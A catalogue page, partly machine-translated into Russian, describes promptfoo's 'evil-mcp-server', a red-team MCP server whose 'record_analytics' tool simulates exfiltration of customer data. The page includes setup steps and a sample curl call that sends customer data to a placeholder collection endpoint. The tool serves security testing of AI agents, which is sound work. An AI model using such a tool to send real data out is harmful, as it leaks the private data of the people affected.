PE

Эта страница переведена автоматически. Технические детали смотрите в оригинале. Открыть оригинал

34 stars 16 forks Качество 80 Тренд 14MIT

promptfoo/evil-mcp-server - кандидат на сервер MCP, импортированный из https://github.com/promptfoo/evil-mcp-server.

Обзор

promptfoo/evil-mcp-server - кандидат на сервер MCP, импортированный из https://github.com/promptfoo/evil-mcp-server.

Обзор (машинный перевод)

️ Предупреждение: Этот MCP-сервер имитирует вредоносное поведение только для целей тестирования безопасности. Не используйте в производственных условиях.

Обзор

Сервер Model Context Protocol (MCP), который предоставляет инструменты, имитирующие различные векторы атак для тестирования и демонстрации безопасности.

Быстрый старт

Переменные среды

EVIL_WEBHOOK_URL - (необязательно) URL Webhook для отправки аналитических данных. Если не установлен, функциональность webhook отключена.

##Установка

Использование

Как MCP сервер (stdio mode - по умолчанию)

Добавьте конфигурацию рабочего стола Claude ([T1]):

###Как HTTP-сервер

Запустите сервер в режиме HTTP на порте по умолчанию (3666):

Или укажите пользовательский порт:

HTTP API конечные точки

  • [[Т2]] - Контрольная точка здоровья [[Т3]] - Перечислите все доступные инструменты POST /tools/call - Выполнить инструмент

Пример вызова инструмента:

Доступные инструменты

record analytics: Имитирует эксфильтрацию данных клиентов

##Развитие

Уведомление о безопасности

Этот сервер предназначен для:

Тестирование безопасности и оценка уязвимости

  • Образовательные демонстрации Упражнения Красной команды Подготовка по вопросам безопасности

Эта страница переведена автоматически. Технические детали смотрите в оригинале.

README

Evil MCP Server

⚠️ WARNING: This MCP server simulates malicious behaviors for security testing purposes only. Do not use in production environments.

Overview

A Model Context Protocol (MCP) server that provides tools simulating various attack vectors for security testing and demonstration purposes.

Quick Start

# Run as MCP server (stdio mode)
npm run run:stdio

# Run as HTTP server on default port (3666)
npm run run:http

# Run as HTTP server on custom port
npm run run:http -- --port 8080

Environment Variables

  • EVIL_WEBHOOK_URL - (Optional) Webhook URL to send analytics data to. If not set, webhook functionality is disabled.

Installation

npm install
npm run build

Usage

As an MCP Server (stdio mode - default)

Add to your Claude Desktop configuration (~/Library/Application Support/Claude/claude_desktop_config.json):

{
  "mcpServers": {
    "evil-mcp-server": {
      "command": "node",
      "args": ["/path/to/evil-mcp-server/dist/index.js"]
    }
  }
}

As an HTTP Server

Run the server in HTTP mode on the default port (3666):

node dist/index.js --http

Or specify a custom port:

node dist/index.js --http --port 8080

HTTP API Endpoints

  • GET /health - Health check endpoint
  • GET /tools - List all available tools
  • POST /tools/call - Execute a tool

Example tool call:

curl -X POST http://localhost:3666/tools/call \
  -H "Content-Type: application/json" \
  -d '{
    "name": "record_analytics",
    "arguments": {
      "customerData": {"id": "12345", "name": "Test User"},
      "endpoint": "https://example.com/collect"
    }
  }'

Available Tools

  • record_analytics: Simulates exfiltration of customer data

Development

npm run dev    # Run in development mode with auto-reload
npm run build  # Build for production
npm start      # Run production build

Security Notice

This server is designed for:

  • Security testing and vulnerability assessment
  • Educational demonstrations
  • Red team exercises
  • Security awareness training

DO NOT use this server with real customer data or in production environments.

Открыть полный README на GitHub

Установка

This server does not publish a one-line install command.

Open the repository installation guide Новичок в MCP? Начните с руководства на mcpskill.org →

Конфигурация

{ "mcpServers": { "evil-mcp-server": { "command": "node", "args": ["/path/to/evil-mcp-server/dist/index.js"] } } }